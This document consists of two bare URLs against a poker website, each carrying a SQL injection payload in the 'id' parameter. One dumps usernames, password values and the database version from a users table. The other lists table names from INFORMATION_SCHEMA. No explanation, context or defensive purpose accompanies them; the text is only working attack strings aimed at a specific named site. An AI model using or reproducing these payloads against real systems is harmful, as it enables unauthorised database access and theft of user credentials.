http://www.clubpoker.net/showpage/?id=-67+union+select+1,2,3,concat(username,0x3a,user_password,0x3a,version()),5+from+users+limit+2,1/*

http://www.clubpoker.net/showpage/?id=-67+UNION+SELECT+1,2,3,table_name,5+from+INFORMATION_SCHEMA.TABLES+limit+41,1/*